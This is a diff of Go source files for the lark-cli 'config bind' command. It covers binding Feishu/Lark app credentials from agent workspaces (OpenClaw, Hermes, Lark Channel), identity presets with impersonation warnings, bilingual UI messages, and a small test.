msg := getBindMsg(opts.UILang)
fmt.Fprintln(opts.Factory.IOStreams.ErrOut, "⚠️ "+msg.IdentityEscalationMessage)
}
// applyPreferences expands the chosen identity preset into the underlying
// StrictMode + DefaultAs on the AppConfig. Always writes both fields so the
// profile's intent survives later changes to global strict-mode settings.
// preferredLang resolves the language to persist: the requested value when set,
// otherwise the prior one — so an unset --lang never clears a stored preference.
func preferredLang(requested, prior i18n.Lang) i18n.Lang {
if requested != "" {
return requested
}
return prior
}
func applyPreferences(appConfig *core.AppConfig, opts *BindOptions, prior i18n.Lang) {
switch opts.Identity {
case "bot-only":
sm := core.StrictModeBot
appConfig.StrictMode = &sm
appConfig.DefaultAs = core.AsBot
case "user-default":
sm := core.StrictModeOff
appConfig.StrictMode = &sm
appConfig.DefaultAs = core.AsUser
}
appConfig.Lang = preferredLang(i18n.Lang(opts.Lang), prior)
}
// priorLang returns the language preference recorded in a previous config, or
// "" if there is none / the bytes don't parse. Reads from CurrentApp (or Apps[0]
// fallback) — scanning all apps for the first non-empty Lang would leak the
// wrong profile's preference into a re-bind when the workspace holds multiple
// named profiles and the active one disagrees with Apps[0].
func priorLang(previousConfigBytes []byte) i18n.Lang {
var multi core.MultiAppConfig
if json.Unmarshal(previousConfigBytes, &multi) != nil {
return ""
}
if app := multi.CurrentAppConfig(""); app != nil {
return app.Lang
}
return ""
}
// commitBinding finalizes the bind: atomic write of the new workspace config,
// best-effort cleanup of stale keychain entries from the previous binding (if
// any), and a JSON success envelope. Cleanup runs only after the new config
// is durably written — if anything fails earlier, the old workspace stays
// usable.
func commitBinding(opts *BindOptions, appConfig *core.AppConfig, previousConfigBytes []byte, source, configPath string) error {
multi := &core.MultiAppConfig{Apps: []core.AppConfig{*appConfig}}
if err := vfs.MkdirAll(core.GetConfigDir(), 0700); err != nil {
return errs.NewInternalError(errs.SubtypeFileIO, "failed to create workspace directory: %v", err).WithCause(err)
}
data, err := json.MarshalIndent(multi, "", " ")
if err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "failed to marshal config: %v", err).WithCause(err)
}
if err := validate.AtomicWrite(configPath, append(data, '\n'), 0600); err != nil {
return errs.NewInternalError(errs.SubtypeStorage, "failed to write config %s: %v", configPath, err).WithCause(err)
}
replaced := previousConfigBytes != nil
// uiMsg renders human-facing TUI text (stderr success banner). Follows
// opts.UILang — zh by default; picker can flip it to en. --lang does
// not influence the TUI language.
uiMsg := getBindMsg(opts.UILang)
display := sourceDisplayName(source)
if replaced {
cleanupKeychainFromData(opts.Factory.Keychain, previousConfigBytes, appConfig)
}
fmt.Fprintln(opts.Factory.IOStreams.ErrOut,
fmt.Sprintf(uiMsg.BindSuccessHeader, display)+"\n"+uiMsg.BindSuccessNotice)
if opts.langExplicit && opts.Lang != "" {
fmt.Fprintln(opts.Factory.IOStreams.ErrOut, fmt.Sprintf(uiMsg.LangPreferenceSet, opts.Lang))
}
// TUI mode is a human sitting at a terminal; the BindSuccess notice on
// stderr is enough and a machine-readable JSON dump on stdout is just
// noise. Flag mode (Agent orchestration, scripts, piped output) still
// gets the full envelope for programmatic consumption.
if opts.IsTUI {
return nil
}
envelope := map[string]interface{}{
"ok": true,
"workspace": source,
"app_id": appConfig.AppId,
"config_path": configPath,
"replaced": replaced,
"identity": opts.Identity,
}
// JSON "message" follows the effective preference on disk (appConfig.Lang),
// not the raw --lang value: when --lang is omitted on re-bind, preferredLang
// has already inherited the prior preference into appConfig.Lang, and the
// message should respect that inherited choice. stderr above follows UILang.
prefMsg := getBindMsg(appConfig.Lang)
brand := brandDisplay(string(appConfig.Brand), appConfig.Lang)
switch opts.Identity {
case "bot-only":
envelope["message"] = fmt.Sprintf(prefMsg.MessageBotOnly, appConfig.AppId, display, brand)
case "user-default":
envelope["message"] = fmt.Sprintf(prefMsg.MessageUserDefault, appConfig.AppId, display, display)
}
resultJSON, _ := json.Marshal(envelope)
fmt.Fprintln(opts.Factory.IOStreams.Out, string(resultJSON))
return nil
}
// cleanupKeychainFromData removes keychain entries referenced by a previous
// config snapshot, skipping any entry whose keychain ID is still in use by
// the new app config. This prevents rebinding the same appId from deleting
// the secret that ForStorage just wrote (old and new secret share the same
// keychain key, derived from appId). Best-effort: errors are silently
// ignored (same contract as config init's cleanup).
func cleanupKeychainFromData(kc keychain.KeychainAccess, data []byte, keep *core.AppConfig) {
var multi core.MultiAppConfig
if err := json.Unmarshal(data, &multi); err != nil {
return
}
keepID := ""
if keep != nil && keep.AppSecret.Ref != nil && keep.AppSecret.Ref.Source == "keychain" {
keepID = keep.AppSecret.Ref.ID
}
for _, app := range multi.Apps {
if keepID != "" && app.AppSecret.Ref != nil && app.AppSecret.Ref.Source == "keychain" && app.AppSecret.Ref.ID == keepID {
continue
}
core.RemoveSecretStore(app.AppSecret, kc)
}
}
// ──────────────────────────────────────────────────────────────
// TUI helpers (huh forms, matching config init interactive style)
// ──────────────────────────────────────────────────────────────
// tuiSelectSource prompts user to choose bind source.
func tuiSelectSource(opts *BindOptions) (string, error) {
msg := getBindMsg(opts.UILang)
var source string
// Pre-select based on detected env signals
detected := core.DetectWorkspaceFromEnv(os.Getenv)
switch detected {
case core.WorkspaceOpenClaw:
source = "openclaw"
case core.WorkspaceHermes:
source = "hermes"
case core.WorkspaceLarkChannel:
source = "lark-channel"
default:
source = "openclaw" // default first option
}
// Resolve actual paths for display
openclawPath := resolveOpenClawConfigPath()
hermesEnvPath := resolveHermesEnvPath()
larkChannelPath := resolveLarkChannelConfigPath()
form := huh.NewForm(
huh.NewGroup(
huh.NewSelect[string]().
Title(msg.SelectSource).
Description(fmt.Sprintf(msg.SelectSourceDesc, brandDisplay(opts.Brand, opts.UILang))).
Options(
huh.NewOption(fmt.Sprintf(msg.SourceOpenClaw, openclawPath), "openclaw"),
huh.NewOption(fmt.Sprintf(msg.SourceHermes, hermesEnvPath), "hermes"),
huh.NewOption(fmt.Sprintf(msg.SourceLarkChannel, larkChannelPath), "lark-channel"),
).
Value(&source),
),
).WithTheme(cmdutil.ThemeFeishu())
if err := form.Run(); err != nil {
if err == huh.ErrUserAborted {
return "", output.ErrBare(1)
}
return "", err
}
return source, nil
}
// tuiSelectApp prompts the user to choose from multiple account candidates.
// Invoked only via selectCandidate's tuiPrompt callback, and only in TUI mode.
func tuiSelectApp(opts *BindOptions, source string, candidates []Candidate) (*Candidate, error) {
msg := getBindMsg(opts.UILang)
options := make([]huh.Option[int], 0, len(candidates))
for i, c := range candidates {
label := c.AppID
if c.Label != "" {
label = fmt.Sprintf("%s (%s)", c.Label, c.AppID)
}
options = append(options, huh.NewOption(label, i))
}
var selected int
form := huh.NewForm(
huh.NewGroup(
huh.NewSelect[int]().
Title(fmt.Sprintf(msg.SelectAccount, sourceDisplayName(source), brandDisplay(opts.Brand, opts.UILang))).
Options(options...).
Value(&selected),
),
).WithTheme(cmdutil.ThemeFeishu())
if err := form.Run(); err != nil {
if err == huh.ErrUserAborted {
return nil, output.ErrBare(1)
}
return nil, err
}
return &candidates[selected], nil
}
// tuiConflictPrompt shows existing binding and asks user to Force or Cancel.
func tuiConflictPrompt(opts *BindOptions, source, configPath string) (string, error) {
msg := getBindMsg(opts.UILang)
// Build existing binding summary
existingSummary := fmt.Sprintf(msg.ConflictDesc, source, "?", "?", configPath)
if data, err := vfs.ReadFile(configPath); err == nil {
var multi core.MultiAppConfig
if json.Unmarshal(data, &multi) == nil && len(multi.Apps) > 0 {
app := multi.Apps[0]
existingSummary = fmt.Sprintf(msg.ConflictDesc,
source, app.AppId, app.Brand, configPath)
}
}
var action string
form := huh.NewForm(
huh.NewGroup(
huh.NewNote().
Title(msg.ConflictTitle).
Description(existingSummary),
huh.NewSelect[string]().
Options(
huh.NewOption(msg.ConflictForce, "force"),
huh.NewOption(msg.ConflictCancel, "cancel"),
).
Value(&action),
),
).WithTheme(cmdutil.ThemeFeishu())
if err := form.Run(); err != nil {
if err == huh.ErrUserAborted {
return "cancel", nil
}
return "", err
}
return action, nil
}
// indent prepends two spaces to every line of s. Used to visually nest
// multi-line option descriptions under their label in tuiSelectIdentity.
func indent(s string) string {
return " " + strings.ReplaceAll(s, "\n", "\n ")
}
// validateBindFlags validates enum flags early, before any side effects.
func validateBindFlags(opts *BindOptions) error {
if opts.Identity != "" {
switch opts.Identity {
case "bot-only", "user-default":
default:
return errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid --identity %q; valid values: bot-only, user-default", opts.Identity).WithParam("--identity")
}
}
lang, err := cmdutil.ParseLangFlag(opts.Lang)
if err != nil {
return err
}
opts.Lang = string(lang)
return nil
}
// tuiSelectIdentity prompts user to pick one of two identity presets.
// bot-only is listed first so Enter on the default highlight maps to the
// flag-mode default for consistency across the two modes, and also because
// bot-only is the safer preset (no impersonation risk).
//
// Layout: each option's description is embedded under its label using a
// multi-line option value. huh styles the whole option block (label +
// indented description) as selected / unselected, giving a clear visual
// mapping between picker rows and their explanations — the dynamic
// DescriptionFunc approach breaks here because a longer description on
// hover pushes options out of the field's initial viewport.
func tuiSelectIdentity(opts *BindOptions) (string, error) {
msg := getBindMsg(opts.UILang)
brand := brandDisplay(opts.Brand, opts.UILang)
botLabel := msg.IdentityBotOnly + "\n" + indent(fmt.Sprintf(msg.IdentityBotOnlyDesc, brand))
userLabel := msg.IdentityUserDefault + "\n" + indent(fmt.Sprintf(msg.IdentityUserDefaultDesc, brand, brand))
var value string
form := huh.NewForm(
huh.NewGroup(
huh.NewSelect[string]().
Title(msg.SelectIdentity).
Options(
huh.NewOption(botLabel, "bot-only"),
huh.NewOption(userLabel, "user-default"),
).
Value(&value),
),
).WithTheme(cmdutil.ThemeFeishu())
if err := form.Run(); err != nil {
if err == huh.ErrUserAborted {
return "", output.ErrBare(1)
}
return "", err
}
return value, nil
}

View File

@@ -1,187 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package config
import "github.com/larksuite/cli/internal/i18n"
// bindMsg holds all TUI text for config bind, supporting zh/en via --lang.
//
// Brand-aware strings use a %s slot where the UI-friendly product name
// should appear; callers pass brandDisplay(brand, lang) at that position.
// English templates use %[N]s positional indices when the natural English
// order puts brand before source.
type bindMsg struct {
// Source selection.
// SelectSourceDesc format: brand.
SelectSource string
SelectSourceDesc string
SourceOpenClaw string // format: resolved config path.
SourceHermes string // format: resolved dotenv path.
SourceLarkChannel string // format: resolved config path.
// Account selection (OpenClaw multi-account).
// Format: source display name ("OpenClaw" | "Hermes"), brand.
SelectAccount string
// Conflict prompt.
ConflictTitle string
ConflictDesc string // format: workspace, appId, brand, configPath.
ConflictForce string
ConflictCancel string
ConflictCancelled string
// Post-bind agent-friendly message emitted in the stdout JSON envelope's
// "message" field. Written as imperative instructions to the agent reading
// the JSON — not as description for a human reader.
// MessageBotOnly format: app_id, source display name, brand.
// MessageUserDefault format: app_id, source display name, source display
// name (second source ref anchors the "run in this chat" directive).
// MessageUserDefault directs the Agent at the blocking single-call
// `auth login --recommend` flow: the CLI streams verification_url to
// stderr, which Agent runtimes (OpenClaw, Hermes) relay to the user in
// real time, then blocks until the user authorizes in their own browser.
// The Agent also needs an explicit "do not navigate the URL yourself"
// guard — its own browser is sandboxed and cannot complete the user's
// authorization.
MessageBotOnly string
MessageUserDefault string
// Identity preset (collapses strict-mode + default-as into one choice).
// IdentityBotOnly/IdentityUserDefault are short, single-line labels for
// the huh Select options. IdentityBotOnlyDesc / IdentityUserDefaultDesc
// carry the longer explanation for each choice; tuiSelectIdentity
// embeds the description under its label as a multi-line option value,
// so huh renders the whole "label + indented description" block as one
// picker row and styles it selected / unselected as a unit. Dynamic
// DescriptionFunc was tried first but breaks here: a longer description
// on hover pushes the field's initial viewport, clipping the selected
// option row on terminals that fit the smaller description.
// IdentityBotOnlyDesc format: brand.
// IdentityUserDefaultDesc format: brand, brand.
SelectIdentity string
IdentityBotOnly string
IdentityUserDefault string
IdentityBotOnlyDesc string
IdentityUserDefaultDesc string
// Post-bind success notice printed to stderr once the workspace config
// has been durably written. Rendered as two parts joined with "\n":
// BindSuccessHeader — format: source display name.
// BindSuccessNotice — caveat about one-time sync.
// We intentionally do NOT emit a "replaced" suffix here (the TUI already
// asked the user to confirm overwrite; flag mode carries `replaced:true`
// in the stdout JSON envelope), and we do NOT emit an inline "next step"
// line for user-default (stderr is the human channel; agents read the
// MessageUserDefault field in the JSON envelope).
BindSuccessHeader string
BindSuccessNotice string
// IdentityEscalationMessage / IdentityEscalationHint are returned when a
// previous bind set the workspace to bot-only and a flag-mode (AI-driven)
// caller tries to rebind with --identity user-default without --force.
// The error asks the Agent to surface the risk to the user and re-run
// with --force only after explicit user confirmation. TUI mode does not
// hit this code path — tuiConflictPrompt + tuiSelectIdentity already
// require in-flow human confirmation.
IdentityEscalationMessage string
IdentityEscalationHint string
// LangPreferenceSet is printed to stderr after a successful bind when the
// user explicitly passed --lang. Format: language code. Not printed when
// --lang was not explicit (i.e., the cobra default zh stayed in effect).
LangPreferenceSet string
}
var bindMsgZh = &bindMsg{
SelectSource: "你想在哪个 Agent 中使用 lark-cli?",
SelectSourceDesc: "从你选择的 Agent 中获取%s应用信息并配置到 lark-cli 中",
SourceOpenClaw: "OpenClaw — 配置文件: %s",
SourceHermes: "Hermes — 配置文件: %s",
SourceLarkChannel: "Lark Channel — 配置文件: %s",
SelectAccount: "检测到 %s 中已配置多个%s应用请选择一个",
ConflictTitle: "检测到已有配置",
ConflictDesc: "%q 已配置 lark-cli:\n App ID: %s\n 品牌: %s\n 配置文件: %s",
ConflictForce: "修改配置",
ConflictCancel: "保留当前配置",
ConflictCancelled: "已保留当前配置",
MessageBotOnly: "已绑定应用 %s 到 %s可立即以应用bot身份调用%s API现在可以继续执行用户的请求。",
MessageUserDefault: "已绑定应用 %s 到 %s。请接着在此 %s 对话中运行 `lark-cli auth login --recommend`。该命令会在 stderr 打出 verification_url 后阻塞等待用户授权;请将此链接原样发给用户在其浏览器中完成授权(不要自己调 browser_navigate 之类的工具打开,授权必须在用户的浏览器里完成),命令会在用户授权完成后自动返回。",
SelectIdentity: "你希望 AI 如何与你协作?",
IdentityBotOnly: "以机器人身份",
IdentityUserDefault: "以你的身份",
IdentityBotOnlyDesc: "AI 将在%s中以机器人的身份执行所有操作适合作为团队助手用于多人协作场景如群聊问答、团队通知、公共文档维护。",
IdentityUserDefaultDesc: "AI 将在%s中以你的名义执行所有操作如读写文档、搜索消息、修改日程等建议仅限个人使用。\n" +
"⚠️ 请勿将此机器人分享给他人或拉入群聊中使用,以免泄露你的%s数据。",
BindSuccessHeader: "配置成功lark-cli 已可在 %s 中使用。",
BindSuccessNotice: "注意:这是一次性同步,后续 Agent 配置变更不会自动更新到 lark-cli。如需重新同步请执行 `lark-cli config bind`",
IdentityEscalationMessage: "你正在从应用身份切换到用户身份 —— 切换后 AI 将以你的名义在飞书中执行所有操作(读写文档、搜索消息、修改日程等)。⚠️ 请勿将此机器人分享给他人或拉入群聊中使用,以免泄露你的飞书数据。",
IdentityEscalationHint: "若用户确认切换,附加 --force 重新运行:`lark-cli config bind --identity user-default --force`",
LangPreferenceSet: "语言偏好已设置:%s",
}
var bindMsgEn = &bindMsg{
SelectSource: "Which Agent are you running?",
SelectSourceDesc: "lark-cli will read your %s app credentials from the selected Agent and apply them automatically.",
SourceOpenClaw: "OpenClaw — config: %s",
SourceHermes: "Hermes — config: %s",
SourceLarkChannel: "Lark Channel — config: %s",
// Args order (source, brand) matches the Chinese template; %[N]s lets the
// English reading order differ while the caller passes args in one order.
SelectAccount: "Multiple %[2]s apps configured in %[1]s — select one to continue.",
ConflictTitle: "Existing configuration found",
ConflictDesc: "lark-cli is already set up for %q:\n App ID: %s\n Brand: %s\n Config: %s",
ConflictForce: "Update config",
ConflictCancel: "Keep current config",
ConflictCancelled: "Current config kept. No changes made.",
MessageBotOnly: "Bound app %s to %s. The %s app (bot) identity is ready — you can now continue with the user's request.",
MessageUserDefault: "Bound app %s to %s. Next, in this %s chat, run `lark-cli auth login --recommend`. The command prints the verification URL to stderr and then blocks until the user authorizes it; relay the URL to the user so they can approve it in their own browser (do not call browser_navigate or any tool that opens a browser yourself — your browser is sandboxed and cannot complete the authorization). The command returns automatically once authorization completes.",
SelectIdentity: "How should the AI work with you?",
IdentityBotOnly: "As bot",
IdentityUserDefault: "As you",
IdentityBotOnlyDesc: "Works under its own identity in %s. Best for group chats, team notifications, and shared documents.",
IdentityUserDefaultDesc: "Works under your identity in %s, managing docs, messages, calendar, and more on your behalf. Personal use only.\n" +
"⚠️ Don't share this bot with others or add it to group chats. It has access to your personal %s data.",
BindSuccessHeader: "All set! lark-cli is now ready to use in %s.",
BindSuccessNotice: "Note: This is a one-time sync. To re-sync future changes, run `lark-cli config bind`",
IdentityEscalationMessage: "you are switching from bot-only to user-default — the AI will then act under your Feishu identity for all operations (docs, messages, calendar, etc.). ⚠️ Don't share this bot with others or add it to group chats. It has access to your personal Feishu data.",
IdentityEscalationHint: "if the user confirms the switch, re-run with --force: `lark-cli config bind --identity user-default --force`",
LangPreferenceSet: "Language preference set to: %s",
}
// getBindMsg picks the zh/en TUI bundle; non-English falls back to zh.
func getBindMsg(lang i18n.Lang) *bindMsg {
if lang.IsEnglish() {
return bindMsgEn
}
return bindMsgZh
}
// brandDisplay returns the UI-friendly product name for the given brand
// identifier and display language. "lark" maps to "Lark" in both zh and en.
// "feishu" (or empty / unknown) maps to "飞书" in zh and "Feishu" in en —
// this is the safe default when the brand hasn't been resolved yet (for
// example, on the pre-binding source-selection screen).
func brandDisplay(brand string, lang i18n.Lang) string {
if brand == "lark" || brand == "Lark" || brand == "LARK" {
return "Lark"
}
if lang.IsEnglish() {
return "Feishu"
}
return "飞书"
}

File diff suppressed because it is too large Load Diff

View File

@@ -1,62 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package config
import (
"os"
"path/filepath"
"strings"
"testing"
"github.com/larksuite/cli/internal/cmdutil"
)
// runHermesBindWithIdentity boots a Hermes-shaped fake env, runs `config bind`
// with the given identity preset in flag (non-TUI) mode, and returns captured
// stderr. Hermes is the simplest source to fake (single .env file).
func runHermesBindWithIdentity(t *testing.T, identity string) string {
t.Helper()
saveWorkspace(t)
configDir := t.TempDir()
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", configDir)
hermesHome := t.TempDir()
t.Setenv("HERMES_HOME", hermesHome)
envContent := "FEISHU_APP_ID=cli_hermes_abc\nFEISHU_APP_SECRET=hermes_secret_123\nFEISHU_DOMAIN=lark\n"
if err := os.WriteFile(filepath.Join(hermesHome, ".env"), []byte(envContent), 0600); err != nil {
t.Fatalf("write .env: %v", err)
}
f, _, stderr, _ := cmdutil.TestFactory(t, nil)
err := configBindRun(&BindOptions{
Factory: f,
Source: "hermes",
Identity: identity,
Lang: "zh",
})
if err != nil {
t.Fatalf("bind failed: %v", err)
}
return stderr.String()
}
// TestConfigBindRun_UserDefaultIdentity_WarnsAboutImpersonation covers the
// gap that previously slipped through: a fresh flag-mode bind landing on
// user-default. warnIdentityEscalation requires a previous bot lock to fire,
// and IdentityUserDefaultDesc only renders in TUI selection — so without
// noticeUserDefaultRisk the user/AI never see the impersonation risk on a
// first-time user-default bind.
func TestConfigBindRun_UserDefaultIdentity_WarnsAboutImpersonation(t *testing.T) {
out := runHermesBindWithIdentity(t, "user-default")
if !strings.Contains(out, bindMsgZh.IdentityEscalationMessage) {
t.Errorf("user-default bind must surface IdentityEscalationMessage; got: %s", out)
}
}
func TestConfigBindRun_BotOnlyIdentity_NoImpersonationWarning(t *testing.T) {
out := runHermesBindWithIdentity(t, "bot-only")
if strings.Contains(out, bindMsgZh.IdentityEscalationMessage) {
t.Errorf("bot-only bind must NOT warn about impersonation; got: %s", out)
}
}

View File

@@ -1,490 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package config
import (
"fmt"
"os"
"path/filepath"
"strings"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/binding"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/vfs"
)
// Candidate is the source-agnostic view of a bindable account.
// It carries only the identity fields needed by selectCandidate / TUI;
// secrets remain inside the SourceBinder implementation.
type Candidate struct {
AppID string
Label string
}
// SourceBinder abstracts a bind source (openclaw / hermes / future sources).
// Implementations only list candidates and build an AppConfig for a chosen
// candidate — they stay out of mode (TUI vs flag) and orchestration concerns.
type SourceBinder interface {
// Name returns the source identifier (used in error envelopes).
Name() string
// ConfigPath returns the resolved path to the source's config file.
ConfigPath() string
// ListCandidates enumerates bindable accounts from the source config.
// An empty slice is valid (selectCandidate will turn it into a typed error).
ListCandidates() ([]Candidate, error)
// Build resolves secrets, persists to keychain, and returns a ready AppConfig
// for the chosen candidate AppID. Must be called after ListCandidates succeeds.
Build(appID string) (*core.AppConfig, error)
}
// newBinder constructs the SourceBinder for the given source name.
func newBinder(source string, opts *BindOptions) (SourceBinder, error) {
switch source {
case "openclaw":
return &openclawBinder{opts: opts, path: resolveOpenClawConfigPath()}, nil
case "hermes":
return &hermesBinder{opts: opts, path: resolveHermesEnvPath()}, nil
case "lark-channel":
return &larkChannelBinder{opts: opts, path: resolveLarkChannelConfigPath()}, nil
default:
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "unsupported source: %s", source).WithParam("--source")
}
}
// selectCandidate is the single source of truth for account-selection logic.
// Every bind source funnels through this function, so the "how many
// candidates × was --app-id given × is this TUI" policy is defined once.
//
// Decision matrix:
//
// candidates=0 → error "no app configured"
// appID set, match → selected
// appID set, no match → error + candidate list
// candidates=1, appID="" → auto-select
// candidates≥2, appID="", isTUI=true → tuiPrompt
// candidates≥2, appID="", isTUI=false → error + candidate list
//
// The last branch is the one that matters for flag-mode callers: an explicit
// --source must never silently drop into an interactive prompt just because
// stdin happens to be a terminal.
func selectCandidate(
binder SourceBinder,
candidates []Candidate,
appIDFlag string,
isTUI bool,
tuiPrompt func([]Candidate) (*Candidate, error),
) (*Candidate, error) {
src := binder.Name()
cfgBase := filepath.Base(binder.ConfigPath())
if len(candidates) == 0 {
// Reader succeeded but yielded nothing — e.g. every openclaw account
// is disabled. Missing-file / missing-field cases return typed errors
// from ListCandidates itself and never reach here.
switch src {
case "openclaw":
return nil, errs.NewConfigError(errs.SubtypeNotConfigured, "no Feishu app configured in openclaw.json").
WithHint("configure channels.feishu.appId in openclaw.json")
default:
return nil, errs.NewConfigError(errs.SubtypeNotConfigured, "%s: no app configured", src)
}
}
if appIDFlag != "" {
for i := range candidates {
if candidates[i].AppID == appIDFlag {
return &candidates[i], nil
}
}
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "--app-id %q not found in %s", appIDFlag, cfgBase).
WithHint("available app IDs:\n %s", formatCandidates(candidates)).
WithParam("--app-id")
}
if len(candidates) == 1 {
return &candidates[0], nil
}
if isTUI {
return tuiPrompt(candidates)
}
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument, "multiple accounts in %s; pass --app-id <id>", cfgBase).
WithHint("available app IDs:\n %s", formatCandidates(candidates)).
WithParam("--app-id")
}
// formatCandidates renders candidates as "AppID (Label)" lines for error hints.
func formatCandidates(candidates []Candidate) string {
ids := make([]string, 0, len(candidates))
for _, c := range candidates {
label := c.AppID
if c.Label != "" {
label = fmt.Sprintf("%s (%s)", c.AppID, c.Label)
}
ids = append(ids, label)
}
return strings.Join(ids, "\n ")
}
// ──────────────────────────────────────────────────────────────
// openclawBinder
// ──────────────────────────────────────────────────────────────
type openclawBinder struct {
opts *BindOptions
path string
// Cached between ListCandidates and Build so we don't re-read / re-parse.
cfg *binding.OpenClawRoot
rawApps []binding.CandidateApp
}
func (b *openclawBinder) Name() string { return "openclaw" }
func (b *openclawBinder) ConfigPath() string { return b.path }
func (b *openclawBinder) ListCandidates() ([]Candidate, error) {
cfg, err := binding.ReadOpenClawConfig(b.path)
if err != nil {
return nil, errs.NewConfigError(errs.SubtypeInvalidConfig, "cannot read %s: %v", b.path, err).
WithHint("verify OpenClaw is installed and configured").
WithCause(err)
}
if cfg.Channels.Feishu == nil {
return nil, errs.NewConfigError(errs.SubtypeNotConfigured, "openclaw.json missing channels.feishu section").
WithHint("configure Feishu in OpenClaw first")
}
raw := binding.ListCandidateApps(cfg.Channels.Feishu)
b.cfg = cfg
b.rawApps = raw
result := make([]Candidate, 0, len(raw))
for _, c := range raw {
result = append(result, Candidate{AppID: c.AppID, Label: c.Label})
}
return result, nil
}
func (b *openclawBinder) Build(appID string) (*core.AppConfig, error) {
if b.cfg == nil {
return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: Build called before ListCandidates")
}
var selected *binding.CandidateApp
for i := range b.rawApps {
if b.rawApps[i].AppID == appID {
selected = &b.rawApps[i]
break
}
}
if selected == nil {
return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: appID %q not in candidates", appID)
}
if selected.AppSecret.IsZero() {
return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "appSecret is empty for app %s in %s", selected.AppID, b.path).
WithHint("configure channels.feishu.appSecret in openclaw.json")
}
secret, err := binding.ResolveSecretInput(selected.AppSecret, b.cfg.Secrets, os.Getenv)
if err != nil {
return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "failed to resolve appSecret for %s: %v", selected.AppID, err).
WithHint("check appSecret configuration in %s", b.path).
WithCause(err)
}
stored, err := core.ForStorage(selected.AppID, core.PlainSecret(secret), b.opts.Factory.Keychain)
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeStorage, "keychain unavailable: %v", err).
WithHint("use file: reference in config to bypass keychain").
WithCause(err)
}
return &core.AppConfig{
AppId: selected.AppID,
AppSecret: stored,
Brand: core.LarkBrand(normalizeBrand(selected.Brand)),
}, nil
}
// ──────────────────────────────────────────────────────────────
// hermesBinder
// ──────────────────────────────────────────────────────────────
type hermesBinder struct {
opts *BindOptions
path string
envMap map[string]string // cached between ListCandidates and Build
}
func (b *hermesBinder) Name() string { return "hermes" }
func (b *hermesBinder) ConfigPath() string { return b.path }
func (b *hermesBinder) ListCandidates() ([]Candidate, error) {
envMap, err := readDotenv(b.path)
if err != nil {
return nil, errs.NewConfigError(errs.SubtypeInvalidConfig, "failed to read Hermes config: %v", err).
WithHint("verify Hermes is installed and configured at %s", b.path).
WithCause(err)
}
appID := envMap["FEISHU_APP_ID"]
if appID == "" {
return nil, errs.NewConfigError(errs.SubtypeNotConfigured, "FEISHU_APP_ID not found in %s", b.path).
WithHint("run 'hermes setup' to configure Feishu credentials")
}
b.envMap = envMap
return []Candidate{{AppID: appID, Label: "default"}}, nil
}
func (b *hermesBinder) Build(appID string) (*core.AppConfig, error) {
if b.envMap == nil {
return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: Build called before ListCandidates")
}
if b.envMap["FEISHU_APP_ID"] != appID {
return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: appID %q does not match env", appID)
}
appSecret := b.envMap["FEISHU_APP_SECRET"]
if appSecret == "" {
return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "FEISHU_APP_SECRET not found in %s", b.path).
WithHint("run 'hermes setup' to configure Feishu credentials")
}
stored, err := core.ForStorage(appID, core.PlainSecret(appSecret), b.opts.Factory.Keychain)
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeStorage, "keychain unavailable: %v", err).
WithHint("use file: reference in config to bypass keychain").
WithCause(err)
}
return &core.AppConfig{
AppId: appID,
AppSecret: stored,
Brand: core.LarkBrand(normalizeBrand(b.envMap["FEISHU_DOMAIN"])),
}, nil
}
// ──────────────────────────────────────────────────────────────
// larkChannelBinder
// ──────────────────────────────────────────────────────────────
type larkChannelBinder struct {
opts *BindOptions
path string
// Cached between ListCandidates and Build so we don't re-read the file.
cfg *binding.LarkChannelRoot
}
func (b *larkChannelBinder) Name() string { return "lark-channel" }
func (b *larkChannelBinder) ConfigPath() string { return b.path }
func (b *larkChannelBinder) ListCandidates() ([]Candidate, error) {
cfg, err := binding.ReadLarkChannelConfig(b.path)
if err != nil {
return nil, errs.NewConfigError(errs.SubtypeInvalidConfig, "cannot read %s: %v", b.path, err).
WithHint("verify lark-channel-bridge is installed and configured").
WithCause(err)
}
if cfg.Accounts.App.ID == "" {
return nil, errs.NewConfigError(errs.SubtypeNotConfigured, "accounts.app.id missing in %s", b.path).
WithHint("run lark-channel-bridge's setup to populate the app credential")
}
b.cfg = cfg
return []Candidate{{AppID: cfg.Accounts.App.ID, Label: "default"}}, nil
}
func (b *larkChannelBinder) Build(appID string) (*core.AppConfig, error) {
if b.cfg == nil {
return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: Build called before ListCandidates")
}
if b.cfg.Accounts.App.ID != appID {
return nil, errs.NewInternalError(errs.SubtypeSDKError, "internal: appID %q does not match config", appID)
}
if b.cfg.Accounts.App.Secret.IsZero() {
return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "accounts.app.secret is empty in %s", b.path).
WithHint("run lark-channel-bridge's setup to populate the app credential")
}
// Resolve through the same SecretInput pipeline openclaw uses, so
// bridge configs can use ${VAR} / env / file / exec just like openclaw.
secret, err := binding.ResolveSecretInput(b.cfg.Accounts.App.Secret, b.cfg.Secrets, os.Getenv)
if err != nil {
return nil, errs.NewConfigError(errs.SubtypeInvalidClient, "failed to resolve appSecret for %s: %v", appID, err).
WithHint("check appSecret configuration in %s", b.path).
WithCause(err)
}
stored, err := core.ForStorage(appID, core.PlainSecret(secret), b.opts.Factory.Keychain)
if err != nil {
return nil, errs.NewInternalError(errs.SubtypeStorage, "keychain unavailable: %v", err).
WithHint("use file: reference in config to bypass keychain").
WithCause(err)
}
return &core.AppConfig{
AppId: appID,
AppSecret: stored,
